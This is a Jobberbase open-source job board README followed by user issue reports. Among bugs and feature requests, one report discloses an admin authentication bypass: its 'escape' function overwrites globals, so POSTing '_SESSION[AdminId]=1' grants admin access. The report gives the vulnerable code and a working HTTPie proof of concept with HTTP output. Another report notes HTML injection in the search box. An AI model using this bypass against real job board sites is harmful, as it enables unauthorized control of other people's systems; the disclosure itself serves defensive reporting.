Jobberbase is open-source job board software http://www.jobberbase.com

Jobberbase

Jobberbase is an open-source job board platform that enables the creation of job sites.

For comparison, Jobberbase is for job sites what WordPress is for blogs.

Since launch, Jobberbase was downloaded more than 100,000 times.

Demo

See it in action at http://jobberbase.com/demo/.

Install

A bit of history

Jobberbase was born in October 2007.

Filip had previously created http://www.jobber.ro, a tech-only job board that quickly became known and loved in the Romanian tech community.

As an experiment and being influenced by how Ruby on Rails (framework) came out of Basecamp (product), Filip decided to open-source jobber, 3 months after launch.

Jobberbase was the first open-source job board platform, a breath of fresh air in a world where all other similar software was legacy, ugly and paid-for, thus challenging the status quo.

Over the next few years, Jobberbase gained popularity and a few core contributors, most notably Lavi & Cosmin Mendrea and Radu Lucaciu who were also heavily involved in the community, helping people out. Other developers started to make a living by customising and extending Jobberbase for their clients. New visual themes were created...

Good times!

Unfortunately for Jobberbase, life happened and the project slowly fell into oblivion. It was nice, it had potential, but we just didn't have time...

Status quo (March 2014)

Jobberbase saw its last release in 2010 with version 1.9 and it's been gathering dust since then. What's currently in this repository is a version 2.0 beta. This version was highly anticipated by the community a few years ago and it never got to see the light of day. It's about 95% there, with some areas rewritten and several improvements.

The list of what we want to do is long -- both on the frontend (improving the UX through a responsive theme) and the backend (the "framework" and architecture is old, really old).

It's quite possible that job boards are dying as recruiting is moving more and more to social media and other channels, so at the time of writing this, actually devoting time to Jobberbase seems risky.

But you know what? I, Filip, believe in it. I believe the world still needs a good job board platform and I'd like to invite anyone who believes the same, to join in.

For everyone who was ever involved with Jobberbase, THANK YOU. We're back!

Variable HTTPS doesn't exists in $_SERVER array

I got this error:

Notice: Undefined index: HTTPS in C:\xampp\htdocs\jobberbase\public\page_job.php on line 71

The solution is to change the condition from this:
$_SERVER["HTTPS"] == "on"

to this:
isset( $_SERVER["HTTPS"] ) && strtolower( $_SERVER["HTTPS"] ) == "on"

I supose there is the same issue in other files.

schema.org JobPosting markup in job postings.

Would it be possible to add the schema.org JobPosting markup in job postings ?
http://www.schema.org/JobPosting

It's just semantic tags to let search engine and any tool to understand that it's a job offer, and decipher it.

Strings for translation

Hi, I'm trying jobberbase in spanish, but some items are still in English, attached are the areas that are in english in the frontend:
and in the backend everything seems to be in english:

"escape" related vulnerabilities

Description

I review some project who used jobberBase and found serious vulnerabilities related to using "escape" function.
For example - unauthorized access to administration panel.
Let's look at admin login page:

if(!empty($_POST['action']) && $_POST['action'] == 'login')
{
    escape($_POST);
    $errors = array();

And at escape function:

function escape($what, $dontStrip=array())
{
    global $db;
    foreach ($what as $variable => $value)
    {
        if (is_string($value))
        {
            if (in_array($variable, $dontStrip))
            {
                $GLOBALS[$variable] = $db->real_escape_string($value);
            }
            else
            {
                $GLOBALS[$variable] = $db->real_escape_string(strip_tags($value));
            }
        }
        else
        {
            $GLOBALS[$variable] = $value;
        }
    }
}

As you can see, "escape" function may overwrite any globals (and superglobals) variables from POST or QueryString data.
JobberBase check authorization by flag in user session AdminId:

#page only if the admin is not logged in
#else show homepage
if(!isset($_SESSION['AdminId']))
{
    require_once 'page_login.php';           
}
else
{               
    require_once 'page_home.php';
}
break;

So all we need to access the administration panel - send _SESSION[AdminId] in the POST-data. No passwords or login:)

PoC

I have tested on version 1.9 and 2.0:

• First of all, make autorized session (http://bus.my/jobs/ - root of jobberBase):

$ http -pBHh -f http://bus.my/jobs/admin/ action=login '_SESSION[AdminId]'=1 Cookie:'PHPSESSID=mysessid'
POST /jobs/admin/ HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Length: 36
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Cookie: PHPSESSID=mysessid
Host: bus.my
User-Agent: HTTPie/0.9.2

action=login&_SESSION%5BAdminId%5D=1

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: keep-alive
Content-Encoding: gzip
Content-Type: text/html; charset=UTF-8
Date: Fri, 07 Aug 2015 11:59:59 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: nginx/1.8.0
Transfer-Encoding: chunked
X-Powered-By: PHP/5.6.11

• Great! Now use this authorized session "mysessid" in browser
• Boom, we are in administration panel:
  

P.S. It seems to me that the "escape" function is the most disgusting thing in the project and will make a lot more vulnerabilities (LFI, RFI, Logic, etc)

posts showing with long delays

Please help me, im not technical, when i am posting jobs they're showing (as well not showing on admin panel) with about a 1 day delay , where can be a problem? thanks

HTML injection

I see it in Jobberbase GoogleCode page, try it in my dev environment, and there it was.

What steps will reproduce the problem?
1.In the search box type a "marquee" tag with some text (No need to press enter)
2.You will see a scrolling text as "test"

What is the expected output? What do you see instead?
Filter unwanted characters, use htmlentities etc.

Install files are corrupt due to being save as BINARY not ASCII

It appears that several of the site install files were supposed to be saved as ASCII files (like the PHP files) but were saved as BINARY files in error. This is related to the install packages ready for download from http://www.jobberbase.com and the auto-install package from Softaculous servers.

I have verified at least 20 different files so far, and still counting..

After my install, I have had to FTP files from my shared hosting server over my computer, as a BINARY file so I could copy-n-paste the contents into a new text file saved as ASCII, and then re-upload as ASCII to my server. Re-saving files as ASCII has corrected numerous errors being reported from the server.

This is going to be brutal to find all the ASCII files that were accidentally saved as BINARY.

(Darn that invisible \r verses \n) (That'll get you every time!)

Is it possible for a developer to re-save the install package with files saved in their correct format? (php files as ASCII, pics as BINARY, etc)

This will most likely solve a lot of issues for people who love Jobberbase.

Unknown if when that's done a newer version number should be used to differentiate between install packages with bad Binary files, and a repaired install package. Maybe V2.1 ?

Thank you all for the wonderful work you do :)

Multilanguage Jobberbase

I set up a website with free job ads for people from around the world who would like to work in Poland. I would like to add a second language on a separate domain. I translated the content of translations_xx.ini and email file. Both domains share the database, but I would like to split the admin pages so I could have menu items and pages in different languages. Is there any way to do that without rewriting the code and altering the database?
